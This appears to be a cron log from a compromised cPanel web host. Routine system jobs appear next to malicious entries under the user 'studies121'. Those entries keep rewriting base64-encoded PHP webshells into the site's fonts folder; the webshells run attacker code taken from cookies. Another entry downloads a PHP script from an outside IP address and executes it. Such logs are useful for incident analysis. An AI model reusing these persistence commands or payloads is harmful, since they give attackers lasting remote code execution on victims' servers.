Aug 31 02:47:01 ip-184-168-122-23 CROND[15563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:47:01 ip-184-168-122-23 CROND[15566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:48:01 ip-184-168-122-23 CROND[15660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:48:01 ip-184-168-122-23 CROND[15665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:48:01 ip-184-168-122-23 CROND[15663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:48:01 ip-184-168-122-23 CROND[15662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:48:01 ip-184-168-122-23 CROND[15664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:49:01 ip-184-168-122-23 CROND[15845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:49:01 ip-184-168-122-23 CROND[15847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:49:01 ip-184-168-122-23 CROND[15848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:49:01 ip-184-168-122-23 CROND[15849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:50:01 ip-184-168-122-23 CROND[15969]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 02:50:01 ip-184-168-122-23 CROND[15971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:50:01 ip-184-168-122-23 CROND[15975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:50:01 ip-184-168-122-23 CROND[15973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:50:01 ip-184-168-122-23 CROND[15977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:50:01 ip-184-168-122-23 CROND[15978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:50:01 ip-184-168-122-23 CROND[15976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:50:01 ip-184-168-122-23 CROND[15974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:50:01 ip-184-168-122-23 CROND[15980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:51:01 ip-184-168-122-23 CROND[16080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:51:01 ip-184-168-122-23 CROND[16082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:51:01 ip-184-168-122-23 CROND[16081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:51:01 ip-184-168-122-23 CROND[16087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:52:01 ip-184-168-122-23 CROND[16170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:52:01 ip-184-168-122-23 CROND[16172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:52:01 ip-184-168-122-23 CROND[16173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:52:01 ip-184-168-122-23 CROND[16174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:52:01 ip-184-168-122-23 CROND[16175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:53:01 ip-184-168-122-23 CROND[16274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:53:01 ip-184-168-122-23 CROND[16276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:53:01 ip-184-168-122-23 CROND[16275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:53:01 ip-184-168-122-23 CROND[16277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:54:01 ip-184-168-122-23 CROND[16359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:54:01 ip-184-168-122-23 CROND[16360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:54:01 ip-184-168-122-23 CROND[16362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:54:01 ip-184-168-122-23 CROND[16363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:54:01 ip-184-168-122-23 CROND[16364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:55:01 ip-184-168-122-23 CROND[16533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:55:01 ip-184-168-122-23 CROND[16536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:55:01 ip-184-168-122-23 CROND[16537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:55:01 ip-184-168-122-23 CROND[16535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:55:01 ip-184-168-122-23 CROND[16534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:55:01 ip-184-168-122-23 CROND[16538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:56:01 ip-184-168-122-23 CROND[16631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:56:01 ip-184-168-122-23 CROND[16629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:56:01 ip-184-168-122-23 CROND[16630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:56:01 ip-184-168-122-23 CROND[16632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:56:01 ip-184-168-122-23 CROND[16633]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:57:01 ip-184-168-122-23 CROND[16739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:57:01 ip-184-168-122-23 CROND[16740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:57:01 ip-184-168-122-23 CROND[16741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:57:01 ip-184-168-122-23 CROND[16742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:58:01 ip-184-168-122-23 CROND[16831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:58:01 ip-184-168-122-23 CROND[16834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:58:01 ip-184-168-122-23 CROND[16835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:58:01 ip-184-168-122-23 CROND[16833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:58:01 ip-184-168-122-23 CROND[16836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:59:01 ip-184-168-122-23 CROND[16939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:59:01 ip-184-168-122-23 CROND[16943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:59:01 ip-184-168-122-23 CROND[16942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:59:01 ip-184-168-122-23 CROND[16940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
